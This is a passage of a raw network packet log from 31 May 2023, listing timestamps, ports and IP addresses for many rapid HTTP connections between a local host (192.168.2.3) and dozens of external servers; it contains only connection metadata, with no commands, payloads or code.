May 31, 2023 14:50:28.289356947 CEST	49889	80	192.168.2.3	104.21.88.198
May 31, 2023 14:50:28.296864986 CEST	80	49888	80.74.154.6	192.168.2.3
May 31, 2023 14:50:28.296977043 CEST	49888	80	192.168.2.3	80.74.154.6
May 31, 2023 14:50:28.297287941 CEST	49888	80	192.168.2.3	80.74.154.6
May 31, 2023 14:50:28.305032969 CEST	80	49887	3.64.163.50	192.168.2.3
May 31, 2023 14:50:28.305186987 CEST	80	49887	3.64.163.50	192.168.2.3
May 31, 2023 14:50:28.305327892 CEST	80	49890	188.114.96.7	192.168.2.3
May 31, 2023 14:50:28.305435896 CEST	49887	80	192.168.2.3	3.64.163.50
May 31, 2023 14:50:28.305897951 CEST	80	49889	104.21.88.198	192.168.2.3
May 31, 2023 14:50:28.306000948 CEST	49890	80	192.168.2.3	188.114.96.7
May 31, 2023 14:50:28.322372913 CEST	80	49888	80.74.154.6	192.168.2.3
May 31, 2023 14:50:28.322418928 CEST	80	49888	80.74.154.6	192.168.2.3
May 31, 2023 14:50:28.322504997 CEST	49888	80	192.168.2.3	80.74.154.6
May 31, 2023 14:50:28.344005108 CEST	49890	80	192.168.2.3	188.114.96.7
May 31, 2023 14:50:28.360438108 CEST	80	49890	188.114.96.7	192.168.2.3
May 31, 2023 14:50:28.367305040 CEST	80	49886	103.224.212.221	192.168.2.3
May 31, 2023 14:50:28.367449045 CEST	49886	80	192.168.2.3	103.224.212.221
May 31, 2023 14:50:28.372176886 CEST	49886	80	192.168.2.3	103.224.212.221
May 31, 2023 14:50:28.374582052 CEST	80	49890	188.114.96.7	192.168.2.3
May 31, 2023 14:50:28.374716043 CEST	49890	80	192.168.2.3	188.114.96.7
May 31, 2023 14:50:28.376969099 CEST	80	49882	206.191.152.37	192.168.2.3
May 31, 2023 14:50:28.377129078 CEST	80	49882	206.191.152.37	192.168.2.3
May 31, 2023 14:50:28.377166033 CEST	80	49882	206.191.152.37	192.168.2.3
May 31, 2023 14:50:28.377199888 CEST	49882	80	192.168.2.3	206.191.152.37
May 31, 2023 14:50:28.377223969 CEST	49882	80	192.168.2.3	206.191.152.37
May 31, 2023 14:50:28.377245903 CEST	80	49882	206.191.152.37	192.168.2.3
May 31, 2023 14:50:28.377314091 CEST	49882	80	192.168.2.3	206.191.152.37
May 31, 2023 14:50:28.377454042 CEST	80	49889	104.21.88.198	192.168.2.3
May 31, 2023 14:50:28.377509117 CEST	80	49889	104.21.88.198	192.168.2.3
May 31, 2023 14:50:28.377563953 CEST	80	49889	104.21.88.198	192.168.2.3
May 31, 2023 14:50:28.377580881 CEST	49889	80	192.168.2.3	104.21.88.198
May 31, 2023 14:50:28.377580881 CEST	49889	80	192.168.2.3	104.21.88.198
May 31, 2023 14:50:28.377629042 CEST	49889	80	192.168.2.3	104.21.88.198
May 31, 2023 14:50:28.377646923 CEST	80	49889	104.21.88.198	192.168.2.3
May 31, 2023 14:50:28.377712011 CEST	49889	80	192.168.2.3	104.21.88.198
May 31, 2023 14:50:28.378474951 CEST	80	49884	170.82.173.30	192.168.2.3
May 31, 2023 14:50:28.407068014 CEST	80	49885	52.71.57.184	192.168.2.3
May 31, 2023 14:50:28.407115936 CEST	80	49885	52.71.57.184	192.168.2.3
May 31, 2023 14:50:28.407190084 CEST	49885	80	192.168.2.3	52.71.57.184
May 31, 2023 14:50:28.407190084 CEST	49885	80	192.168.2.3	52.71.57.184
May 31, 2023 14:50:28.421884060 CEST	49888	80	192.168.2.3	80.74.154.6
May 31, 2023 14:50:28.445954084 CEST	80	49884	170.82.173.30	192.168.2.3
May 31, 2023 14:50:28.446079016 CEST	49884	80	192.168.2.3	170.82.173.30
May 31, 2023 14:50:28.447244883 CEST	80	49888	80.74.154.6	192.168.2.3
May 31, 2023 14:50:28.449249029 CEST	49888	80	192.168.2.3	80.74.154.6
May 31, 2023 14:50:28.478179932 CEST	49885	80	192.168.2.3	52.71.57.184
May 31, 2023 14:50:28.525710106 CEST	49882	80	192.168.2.3	206.191.152.37
May 31, 2023 14:50:28.581023932 CEST	80	49886	103.224.212.221	192.168.2.3
May 31, 2023 14:50:28.616071939 CEST	80	49886	103.224.212.221	192.168.2.3
May 31, 2023 14:50:28.616122007 CEST	80	49886	103.224.212.221	192.168.2.3
May 31, 2023 14:50:28.616177082 CEST	49886	80	192.168.2.3	103.224.212.221
May 31, 2023 14:50:28.616178036 CEST	49886	80	192.168.2.3	103.224.212.221
May 31, 2023 14:50:28.622390985 CEST	49886	80	192.168.2.3	103.224.212.221
May 31, 2023 14:50:28.623521090 CEST	80	49885	52.71.57.184	192.168.2.3
May 31, 2023 14:50:28.788882017 CEST	80	49882	206.191.152.37	192.168.2.3
May 31, 2023 14:50:28.789674044 CEST	80	49886	103.224.212.221	192.168.2.3
May 31, 2023 14:50:28.816320896 CEST	49891	80	192.168.2.3	52.71.57.184
May 31, 2023 14:50:28.824165106 CEST	49884	80	192.168.2.3	170.82.173.30
May 31, 2023 14:50:28.830110073 CEST	80	49859	3.65.101.129	192.168.2.3
May 31, 2023 14:50:28.830229998 CEST	49859	80	192.168.2.3	3.65.101.129
May 31, 2023 14:50:28.959260941 CEST	49892	80	192.168.2.3	188.114.96.7
May 31, 2023 14:50:28.959944010 CEST	80	49884	170.82.173.30	192.168.2.3
May 31, 2023 14:50:28.961721897 CEST	49893	80	192.168.2.3	192.252.154.18
May 31, 2023 14:50:28.962543964 CEST	80	49891	52.71.57.184	192.168.2.3
May 31, 2023 14:50:28.962675095 CEST	49891	80	192.168.2.3	52.71.57.184
May 31, 2023 14:50:28.963273048 CEST	49894	80	192.168.2.3	202.254.236.40
May 31, 2023 14:50:28.963473082 CEST	49891	80	192.168.2.3	52.71.57.184
May 31, 2023 14:50:28.967577934 CEST	49895	80	192.168.2.3	89.161.163.246
May 31, 2023 14:50:28.968178988 CEST	49896	80	192.168.2.3	192.124.249.10
May 31, 2023 14:50:28.975789070 CEST	80	49892	188.114.96.7	192.168.2.3
May 31, 2023 14:50:28.975898981 CEST	49892	80	192.168.2.3	188.114.96.7
May 31, 2023 14:50:28.976223946 CEST	49892	80	192.168.2.3	188.114.96.7
May 31, 2023 14:50:28.987555981 CEST	80	49896	192.124.249.10	192.168.2.3
May 31, 2023 14:50:28.987811089 CEST	49896	80	192.168.2.3	192.124.249.10
May 31, 2023 14:50:28.988073111 CEST	49896	80	192.168.2.3	192.124.249.10
May 31, 2023 14:50:28.992631912 CEST	80	49892	188.114.96.7	192.168.2.3
May 31, 2023 14:50:28.998701096 CEST	80	49895	89.161.163.246	192.168.2.3
May 31, 2023 14:50:28.998823881 CEST	49895	80	192.168.2.3	89.161.163.246
May 31, 2023 14:50:28.999344110 CEST	49895	80	192.168.2.3	89.161.163.246
May 31, 2023 14:50:29.000376940 CEST	49897	80	192.168.2.3	135.181.73.98
May 31, 2023 14:50:29.007047892 CEST	80	49896	192.124.249.10	192.168.2.3
May 31, 2023 14:50:29.007309914 CEST	80	49896	192.124.249.10	192.168.2.3
May 31, 2023 14:50:29.007373095 CEST	49896	80	192.168.2.3	192.124.249.10
May 31, 2023 14:50:29.027441978 CEST	80	49884	170.82.173.30	192.168.2.3
May 31, 2023 14:50:29.027596951 CEST	49884	80	192.168.2.3	170.82.173.30
May 31, 2023 14:50:29.028279066 CEST	49896	80	192.168.2.3	192.124.249.10
May 31, 2023 14:50:29.029853106 CEST	80	49895	89.161.163.246	192.168.2.3
May 31, 2023 14:50:29.030400991 CEST	80	49895	89.161.163.246	192.168.2.3
May 31, 2023 14:50:29.030481100 CEST	49895	80	192.168.2.3	89.161.163.246
May 31, 2023 14:50:29.030510902 CEST	80	49895	89.161.163.246	192.168.2.3
May 31, 2023 14:50:29.030569077 CEST	49895	80	192.168.2.3	89.161.163.246
May 31, 2023 14:50:29.038567066 CEST	80	49897	135.181.73.98	192.168.2.3
May 31, 2023 14:50:29.038703918 CEST	49897	80	192.168.2.3	135.181.73.98
May 31, 2023 14:50:29.047548056 CEST	80	49896	192.124.249.10	192.168.2.3
May 31, 2023 14:50:29.047646046 CEST	49896	80	192.168.2.3	192.124.249.10
May 31, 2023 14:50:29.059958935 CEST	80	49893	192.252.154.18	192.168.2.3
May 31, 2023 14:50:29.060070038 CEST	49893	80	192.168.2.3	192.252.154.18
May 31, 2023 14:50:29.108848095 CEST	80	49891	52.71.57.184	192.168.2.3
May 31, 2023 14:50:29.108880997 CEST	80	49891	52.71.57.184	192.168.2.3
May 31, 2023 14:50:29.110462904 CEST	49891	80	192.168.2.3	52.71.57.184
May 31, 2023 14:50:29.117090940 CEST	49897	80	192.168.2.3	135.181.73.98
May 31, 2023 14:50:29.155097008 CEST	80	49897	135.181.73.98	192.168.2.3
May 31, 2023 14:50:29.155452967 CEST	80	49897	135.181.73.98	192.168.2.3
May 31, 2023 14:50:29.155555964 CEST	49897	80	192.168.2.3	135.181.73.98
May 31, 2023 14:50:29.185601950 CEST	49891	80	192.168.2.3	52.71.57.184
May 31, 2023 14:50:29.185993910 CEST	49893	80	192.168.2.3	192.252.154.18
May 31, 2023 14:50:29.210952997 CEST	80	49892	188.114.96.7	192.168.2.3
May 31, 2023 14:50:29.211004972 CEST	80	49892	188.114.96.7	192.168.2.3
May 31, 2023 14:50:29.211059093 CEST	49892	80	192.168.2.3	188.114.96.7
May 31, 2023 14:50:29.211059093 CEST	49892	80	192.168.2.3	188.114.96.7
May 31, 2023 14:50:29.244662046 CEST	80	49894	202.254.236.40	192.168.2.3
May 31, 2023 14:50:29.244786978 CEST	49894	80	192.168.2.3	202.254.236.40
May 31, 2023 14:50:29.262998104 CEST	49897	80	192.168.2.3	135.181.73.98
May 31, 2023 14:50:29.263887882 CEST	49894	80	192.168.2.3	202.254.236.40
May 31, 2023 14:50:29.277321100 CEST	49892	80	192.168.2.3	188.114.96.7
May 31, 2023 14:50:29.284112930 CEST	80	49893	192.252.154.18	192.168.2.3
May 31, 2023 14:50:29.286390066 CEST	80	49893	192.252.154.18	192.168.2.3
May 31, 2023 14:50:29.286489010 CEST	49893	80	192.168.2.3	192.252.154.18
May 31, 2023 14:50:29.293889999 CEST	80	49892	188.114.96.7	192.168.2.3
May 31, 2023 14:50:29.301369905 CEST	80	49897	135.181.73.98	192.168.2.3
May 31, 2023 14:50:29.301471949 CEST	49897	80	192.168.2.3	135.181.73.98
May 31, 2023 14:50:29.331032991 CEST	80	49891	52.71.57.184	192.168.2.3
May 31, 2023 14:50:29.401824951 CEST	80	49892	188.114.96.7	192.168.2.3
May 31, 2023 14:50:29.401885033 CEST	80	49892	188.114.96.7	192.168.2.3
May 31, 2023 14:50:29.402025938 CEST	49892	80	192.168.2.3	188.114.96.7
May 31, 2023 14:50:29.545475006 CEST	80	49894	202.254.236.40	192.168.2.3
May 31, 2023 14:50:29.546468973 CEST	80	49894	202.254.236.40	192.168.2.3
May 31, 2023 14:50:29.548330069 CEST	49894	80	192.168.2.3	202.254.236.40
May 31, 2023 14:50:29.586841106 CEST	49898	80	192.168.2.3	60.43.154.138
May 31, 2023 14:50:29.586935997 CEST	49900	80	192.168.2.3	188.165.133.163
May 31, 2023 14:50:29.587126970 CEST	49899	80	192.168.2.3	82.201.61.230
May 31, 2023 14:50:29.599132061 CEST	49894	80	192.168.2.3	202.254.236.40
May 31, 2023 14:50:29.607022047 CEST	80	49900	188.165.133.163	192.168.2.3
May 31, 2023 14:50:29.607314110 CEST	49900	80	192.168.2.3	188.165.133.163
May 31, 2023 14:50:29.614078999 CEST	80	49899	82.201.61.230	192.168.2.3
May 31, 2023 14:50:29.614219904 CEST	49899	80	192.168.2.3	82.201.61.230
May 31, 2023 14:50:29.624139071 CEST	49901	80	192.168.2.3	185.80.51.179
May 31, 2023 14:50:29.624849081 CEST	49900	80	192.168.2.3	188.165.133.163
May 31, 2023 14:50:29.625080109 CEST	49899	80	192.168.2.3	82.201.61.230
May 31, 2023 14:50:29.645098925 CEST	80	49900	188.165.133.163	192.168.2.3
May 31, 2023 14:50:29.645132065 CEST	80	49900	188.165.133.163	192.168.2.3
May 31, 2023 14:50:29.645235062 CEST	49900	80	192.168.2.3	188.165.133.163
May 31, 2023 14:50:29.652026892 CEST	80	49899	82.201.61.230	192.168.2.3
May 31, 2023 14:50:29.660880089 CEST	80	49899	82.201.61.230	192.168.2.3
May 31, 2023 14:50:29.661079884 CEST	49899	80	192.168.2.3	82.201.61.230
May 31, 2023 14:50:29.662822008 CEST	80	49901	185.80.51.179	192.168.2.3
May 31, 2023 14:50:29.664150953 CEST	49901	80	192.168.2.3	185.80.51.179
May 31, 2023 14:50:29.668512106 CEST	49901	80	192.168.2.3	185.80.51.179
May 31, 2023 14:50:29.671648979 CEST	49900	80	192.168.2.3	188.165.133.163
May 31, 2023 14:50:29.672030926 CEST	49899	80	192.168.2.3	82.201.61.230
May 31, 2023 14:50:29.691936016 CEST	80	49900	188.165.133.163	192.168.2.3
May 31, 2023 14:50:29.692061901 CEST	49900	80	192.168.2.3	188.165.133.163
May 31, 2023 14:50:29.706065893 CEST	80	49899	82.201.61.230	192.168.2.3
May 31, 2023 14:50:29.706630945 CEST	49899	80	192.168.2.3	82.201.61.230
May 31, 2023 14:50:29.706921101 CEST	80	49901	185.80.51.179	192.168.2.3
May 31, 2023 14:50:29.707535982 CEST	80	49901	185.80.51.179	192.168.2.3
May 31, 2023 14:50:29.707726002 CEST	49901	80	192.168.2.3	185.80.51.179
May 31, 2023 14:50:29.816696882 CEST	49901	80	192.168.2.3	185.80.51.179
May 31, 2023 14:50:29.817585945 CEST	49903	80	192.168.2.3	193.166.255.171
May 31, 2023 14:50:29.817673922 CEST	49904	80	192.168.2.3	172.67.165.62
May 31, 2023 14:50:29.817743063 CEST	49902	80	192.168.2.3	3.19.116.195
May 31, 2023 14:50:29.834213972 CEST	80	49904	172.67.165.62	192.168.2.3
May 31, 2023 14:50:29.834315062 CEST	49904	80	192.168.2.3	172.67.165.62
May 31, 2023 14:50:29.842331886 CEST	49904	80	192.168.2.3	172.67.165.62
May 31, 2023 14:50:29.855772972 CEST	80	49901	185.80.51.179	192.168.2.3
May 31, 2023 14:50:29.855880022 CEST	49901	80	192.168.2.3	185.80.51.179
May 31, 2023 14:50:29.858844042 CEST	80	49904	172.67.165.62	192.168.2.3
May 31, 2023 14:50:29.881848097 CEST	80	49894	202.254.236.40	192.168.2.3
May 31, 2023 14:50:29.881934881 CEST	49894	80	192.168.2.3	202.254.236.40
May 31, 2023 14:50:29.884083986 CEST	80	49898	60.43.154.138	192.168.2.3
May 31, 2023 14:50:29.884216070 CEST	49898	80	192.168.2.3	60.43.154.138
May 31, 2023 14:50:29.908065081 CEST	80	49904	172.67.165.62	192.168.2.3
May 31, 2023 14:50:29.908148050 CEST	80	49904	172.67.165.62	192.168.2.3
May 31, 2023 14:50:29.908181906 CEST	80	49904	172.67.165.62	192.168.2.3
May 31, 2023 14:50:29.908236980 CEST	49904	80	192.168.2.3	172.67.165.62
May 31, 2023 14:50:29.908236980 CEST	49904	80	192.168.2.3	172.67.165.62
May 31, 2023 14:50:29.972909927 CEST	80	49902	3.19.116.195	192.168.2.3
May 31, 2023 14:50:29.974735975 CEST	49898	80	192.168.2.3	60.43.154.138
May 31, 2023 14:50:29.975019932 CEST	49902	80	192.168.2.3	3.19.116.195
May 31, 2023 14:50:30.097115993 CEST	49868	80	192.168.2.3	137.118.26.67
May 31, 2023 14:50:30.140739918 CEST	49902	80	192.168.2.3	3.19.116.195
May 31, 2023 14:50:30.143194914 CEST	49905	80	192.168.2.3	108.167.164.216
May 31, 2023 14:50:30.152820110 CEST	80	49835	195.78.66.50	192.168.2.3
May 31, 2023 14:50:30.152894974 CEST	49835	80	192.168.2.3	195.78.66.50
May 31, 2023 14:50:30.169687986 CEST	80	49786	213.186.33.17	192.168.2.3
May 31, 2023 14:50:30.169817924 CEST	49786	80	192.168.2.3	213.186.33.17
May 31, 2023 14:50:30.192069054 CEST	49906	80	192.168.2.3	81.2.194.241
May 31, 2023 14:50:30.228646040 CEST	80	49906	81.2.194.241	192.168.2.3
May 31, 2023 14:50:30.228746891 CEST	49906	80	192.168.2.3	81.2.194.241
May 31, 2023 14:50:30.229414940 CEST	49907	80	192.168.2.3	46.242.238.60
May 31, 2023 14:50:30.229491949 CEST	49906	80	192.168.2.3	81.2.194.241
May 31, 2023 14:50:30.260099888 CEST	80	49907	46.242.238.60	192.168.2.3
May 31, 2023 14:50:30.260241985 CEST	49907	80	192.168.2.3	46.242.238.60
May 31, 2023 14:50:30.266091108 CEST	80	49906	81.2.194.241	192.168.2.3
May 31, 2023 14:50:30.268877983 CEST	80	49905	108.167.164.216	192.168.2.3
May 31, 2023 14:50:30.269190073 CEST	49905	80	192.168.2.3	108.167.164.216
May 31, 2023 14:50:30.271825075 CEST	80	49898	60.43.154.138	192.168.2.3
May 31, 2023 14:50:30.272705078 CEST	49907	80	192.168.2.3	46.242.238.60
May 31, 2023 14:50:30.272809029 CEST	80	49898	60.43.154.138	192.168.2.3
May 31, 2023 14:50:30.272902966 CEST	49898	80	192.168.2.3	60.43.154.138
May 31, 2023 14:50:30.273942947 CEST	49905	80	192.168.2.3	108.167.164.216
May 31, 2023 14:50:30.280184984 CEST	80	49906	81.2.194.241	192.168.2.3
May 31, 2023 14:50:30.281956911 CEST	49906	80	192.168.2.3	81.2.194.241
May 31, 2023 14:50:30.293266058 CEST	49908	80	192.168.2.3	195.78.66.50
May 31, 2023 14:50:30.295768976 CEST	80	49902	3.19.116.195	192.168.2.3
May 31, 2023 14:50:30.295790911 CEST	80	49902	3.19.116.195	192.168.2.3
May 31, 2023 14:50:30.295857906 CEST	49902	80	192.168.2.3	3.19.116.195
May 31, 2023 14:50:30.295885086 CEST	49902	80	192.168.2.3	3.19.116.195
May 31, 2023 14:50:30.305018902 CEST	80	49907	46.242.238.60	192.168.2.3
May 31, 2023 14:50:30.306246042 CEST	80	49907	46.242.238.60	192.168.2.3
May 31, 2023 14:50:30.306338072 CEST	49907	80	192.168.2.3	46.242.238.60
May 31, 2023 14:50:30.312900066 CEST	49902	80	192.168.2.3	3.19.116.195
May 31, 2023 14:50:30.340643883 CEST	49898	80	192.168.2.3	60.43.154.138
May 31, 2023 14:50:30.347563028 CEST	80	49908	195.78.66.50	192.168.2.3
May 31, 2023 14:50:30.347661972 CEST	49908	80	192.168.2.3	195.78.66.50
May 31, 2023 14:50:30.351059914 CEST	49906	80	192.168.2.3	81.2.194.241
May 31, 2023 14:50:30.399111032 CEST	49908	80	192.168.2.3	195.78.66.50
May 31, 2023 14:50:30.399441957 CEST	80	49905	108.167.164.216	192.168.2.3
May 31, 2023 14:50:30.400053978 CEST	49909	80	192.168.2.3	3.19.116.195
May 31, 2023 14:50:30.401303053 CEST	80	49906	81.2.194.241	192.168.2.3
May 31, 2023 14:50:30.401480913 CEST	49906	80	192.168.2.3	81.2.194.241
May 31, 2023 14:50:30.405136108 CEST	80	49905	108.167.164.216	192.168.2.3
May 31, 2023 14:50:30.405213118 CEST	49905	80	192.168.2.3	108.167.164.216
May 31, 2023 14:50:30.409708977 CEST	49877	80	192.168.2.3	185.15.129.58
May 31, 2023 14:50:30.454659939 CEST	80	49908	195.78.66.50	192.168.2.3
May 31, 2023 14:50:30.457302094 CEST	80	49908	195.78.66.50	192.168.2.3
May 31, 2023 14:50:30.457374096 CEST	49908	80	192.168.2.3	195.78.66.50
May 31, 2023 14:50:30.470906973 CEST	80	49902	3.19.116.195	192.168.2.3
May 31, 2023 14:50:30.554764986 CEST	49905	80	192.168.2.3	108.167.164.216
May 31, 2023 14:50:30.555465937 CEST	80	49909	3.19.116.195	192.168.2.3
May 31, 2023 14:50:30.557264090 CEST	49909	80	192.168.2.3	3.19.116.195
May 31, 2023 14:50:30.580837965 CEST	49909	80	192.168.2.3	3.19.116.195
May 31, 2023 14:50:30.638609886 CEST	80	49898	60.43.154.138	192.168.2.3
May 31, 2023 14:50:30.638701916 CEST	49898	80	192.168.2.3	60.43.154.138
May 31, 2023 14:50:30.660224915 CEST	49910	80	192.168.2.3	96.127.180.42
May 31, 2023 14:50:30.688643932 CEST	80	49905	108.167.164.216	192.168.2.3
May 31, 2023 14:50:30.688726902 CEST	49905	80	192.168.2.3	108.167.164.216
May 31, 2023 14:50:30.707189083 CEST	80	49899	82.201.61.230	192.168.2.3
May 31, 2023 14:50:30.707367897 CEST	49899	80	192.168.2.3	82.201.61.230
May 31, 2023 14:50:30.736382008 CEST	80	49909	3.19.116.195	192.168.2.3
May 31, 2023 14:50:30.736417055 CEST	80	49909	3.19.116.195	192.168.2.3
May 31, 2023 14:50:30.736527920 CEST	49909	80	192.168.2.3	3.19.116.195
May 31, 2023 14:50:30.750386953 CEST	49909	80	192.168.2.3	3.19.116.195
May 31, 2023 14:50:30.777812958 CEST	80	49910	96.127.180.42	192.168.2.3
May 31, 2023 14:50:30.777981997 CEST	49910	80	192.168.2.3	96.127.180.42
May 31, 2023 14:50:30.847408056 CEST	80	49787	170.82.173.30	192.168.2.3
May 31, 2023 14:50:30.849967957 CEST	49787	80	192.168.2.3	170.82.173.30
May 31, 2023 14:50:30.873651981 CEST	49911	80	192.168.2.3	51.79.51.72
May 31, 2023 14:50:30.873735905 CEST	49912	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:30.873795986 CEST	49913	80	192.168.2.3	165.227.252.190
May 31, 2023 14:50:30.873915911 CEST	49910	80	192.168.2.3	96.127.180.42
May 31, 2023 14:50:30.890481949 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:30.890573978 CEST	49912	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:30.905464888 CEST	80	49909	3.19.116.195	192.168.2.3
May 31, 2023 14:50:30.905834913 CEST	49912	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:30.922542095 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:30.955919981 CEST	49914	80	192.168.2.3	217.19.237.54
May 31, 2023 14:50:30.961864948 CEST	49915	80	192.168.2.3	77.68.50.105
May 31, 2023 14:50:30.971494913 CEST	80	49913	165.227.252.190	192.168.2.3
May 31, 2023 14:50:30.971626043 CEST	49913	80	192.168.2.3	165.227.252.190
May 31, 2023 14:50:30.971947908 CEST	49913	80	192.168.2.3	165.227.252.190
May 31, 2023 14:50:30.975903034 CEST	80	49911	51.79.51.72	192.168.2.3
May 31, 2023 14:50:30.976031065 CEST	49911	80	192.168.2.3	51.79.51.72
May 31, 2023 14:50:30.976397991 CEST	49911	80	192.168.2.3	51.79.51.72
May 31, 2023 14:50:30.979827881 CEST	80	49914	217.19.237.54	192.168.2.3
May 31, 2023 14:50:30.979917049 CEST	49914	80	192.168.2.3	217.19.237.54
May 31, 2023 14:50:30.980257988 CEST	49914	80	192.168.2.3	217.19.237.54
May 31, 2023 14:50:30.991183996 CEST	80	49910	96.127.180.42	192.168.2.3
May 31, 2023 14:50:30.991693974 CEST	80	49910	96.127.180.42	192.168.2.3
May 31, 2023 14:50:30.991786003 CEST	49910	80	192.168.2.3	96.127.180.42
May 31, 2023 14:50:30.994363070 CEST	80	49915	77.68.50.105	192.168.2.3
May 31, 2023 14:50:30.994498968 CEST	49915	80	192.168.2.3	77.68.50.105
May 31, 2023 14:50:31.004211903 CEST	80	49914	217.19.237.54	192.168.2.3
May 31, 2023 14:50:31.005283117 CEST	80	49914	217.19.237.54	192.168.2.3
May 31, 2023 14:50:31.005424976 CEST	49914	80	192.168.2.3	217.19.237.54
May 31, 2023 14:50:31.012974024 CEST	49915	80	192.168.2.3	77.68.50.105
May 31, 2023 14:50:31.025551081 CEST	49910	80	192.168.2.3	96.127.180.42
May 31, 2023 14:50:31.045834064 CEST	80	49915	77.68.50.105	192.168.2.3
May 31, 2023 14:50:31.045870066 CEST	80	49915	77.68.50.105	192.168.2.3
May 31, 2023 14:50:31.045959949 CEST	49915	80	192.168.2.3	77.68.50.105
May 31, 2023 14:50:31.069575071 CEST	80	49913	165.227.252.190	192.168.2.3
May 31, 2023 14:50:31.069727898 CEST	80	49913	165.227.252.190	192.168.2.3
May 31, 2023 14:50:31.072365046 CEST	49913	80	192.168.2.3	165.227.252.190
May 31, 2023 14:50:31.078476906 CEST	80	49911	51.79.51.72	192.168.2.3
May 31, 2023 14:50:31.078505039 CEST	80	49911	51.79.51.72	192.168.2.3
May 31, 2023 14:50:31.078572035 CEST	49911	80	192.168.2.3	51.79.51.72
May 31, 2023 14:50:31.103737116 CEST	49911	80	192.168.2.3	51.79.51.72
May 31, 2023 14:50:31.143583059 CEST	80	49910	96.127.180.42	192.168.2.3
May 31, 2023 14:50:31.143687963 CEST	49910	80	192.168.2.3	96.127.180.42
May 31, 2023 14:50:31.144423008 CEST	49915	80	192.168.2.3	77.68.50.105
May 31, 2023 14:50:31.176827908 CEST	80	49915	77.68.50.105	192.168.2.3
May 31, 2023 14:50:31.176867008 CEST	80	49915	77.68.50.105	192.168.2.3
May 31, 2023 14:50:31.177051067 CEST	49915	80	192.168.2.3	77.68.50.105
May 31, 2023 14:50:31.205918074 CEST	80	49911	51.79.51.72	192.168.2.3
May 31, 2023 14:50:31.279591084 CEST	49916	80	192.168.2.3	39.99.233.155
May 31, 2023 14:50:31.302373886 CEST	80	49897	135.181.73.98	192.168.2.3
May 31, 2023 14:50:31.302615881 CEST	49897	80	192.168.2.3	135.181.73.98
May 31, 2023 14:50:31.403021097 CEST	80	49906	81.2.194.241	192.168.2.3
May 31, 2023 14:50:31.403140068 CEST	49906	80	192.168.2.3	81.2.194.241
May 31, 2023 14:50:31.416085958 CEST	49917	80	192.168.2.3	3.18.7.81
May 31, 2023 14:50:31.416613102 CEST	49918	80	192.168.2.3	213.186.33.40
May 31, 2023 14:50:31.418124914 CEST	49919	80	192.168.2.3	13.248.169.48
May 31, 2023 14:50:31.421060085 CEST	49920	80	192.168.2.3	208.97.178.138
May 31, 2023 14:50:31.437124014 CEST	80	49919	13.248.169.48	192.168.2.3
May 31, 2023 14:50:31.437304020 CEST	49919	80	192.168.2.3	13.248.169.48
May 31, 2023 14:50:31.448442936 CEST	80	49918	213.186.33.40	192.168.2.3
May 31, 2023 14:50:31.448545933 CEST	49918	80	192.168.2.3	213.186.33.40
May 31, 2023 14:50:31.463570118 CEST	49919	80	192.168.2.3	13.248.169.48
May 31, 2023 14:50:31.464109898 CEST	49918	80	192.168.2.3	213.186.33.40
May 31, 2023 14:50:31.482692957 CEST	80	49919	13.248.169.48	192.168.2.3
May 31, 2023 14:50:31.497848034 CEST	80	49918	213.186.33.40	192.168.2.3
May 31, 2023 14:50:31.497980118 CEST	49918	80	192.168.2.3	213.186.33.40
May 31, 2023 14:50:31.524816036 CEST	80	49920	208.97.178.138	192.168.2.3
May 31, 2023 14:50:31.524847984 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.524868011 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.524885893 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.524904966 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.524924994 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.524943113 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.524962902 CEST	49920	80	192.168.2.3	208.97.178.138
May 31, 2023 14:50:31.524969101 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.524990082 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.525008917 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.525007010 CEST	49912	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:31.525029898 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.525049925 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.525068045 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.525088072 CEST	49912	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:31.525121927 CEST	49912	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:31.525480986 CEST	49918	80	192.168.2.3	213.186.33.40
May 31, 2023 14:50:31.526310921 CEST	49920	80	192.168.2.3	208.97.178.138
May 31, 2023 14:50:31.558815956 CEST	80	49918	213.186.33.40	192.168.2.3
May 31, 2023 14:50:31.559019089 CEST	49918	80	192.168.2.3	213.186.33.40
May 31, 2023 14:50:31.575592995 CEST	80	49917	3.18.7.81	192.168.2.3
May 31, 2023 14:50:31.575701952 CEST	49917	80	192.168.2.3	3.18.7.81
May 31, 2023 14:50:31.586168051 CEST	49917	80	192.168.2.3	3.18.7.81
May 31, 2023 14:50:31.633569956 CEST	80	49920	208.97.178.138	192.168.2.3
May 31, 2023 14:50:31.634310961 CEST	80	49920	208.97.178.138	192.168.2.3
May 31, 2023 14:50:31.634383917 CEST	49920	80	192.168.2.3	208.97.178.138
May 31, 2023 14:50:31.634972095 CEST	80	49920	208.97.178.138	192.168.2.3
May 31, 2023 14:50:31.635040045 CEST	49920	80	192.168.2.3	208.97.178.138
May 31, 2023 14:50:31.638864994 CEST	49920	80	192.168.2.3	208.97.178.138
May 31, 2023 14:50:31.666219950 CEST	49921	80	192.168.2.3	208.97.178.138
May 31, 2023 14:50:31.680840015 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.680895090 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.680915117 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.680931091 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.681068897 CEST	80	49912	104.21.66.46	192.168.2.3
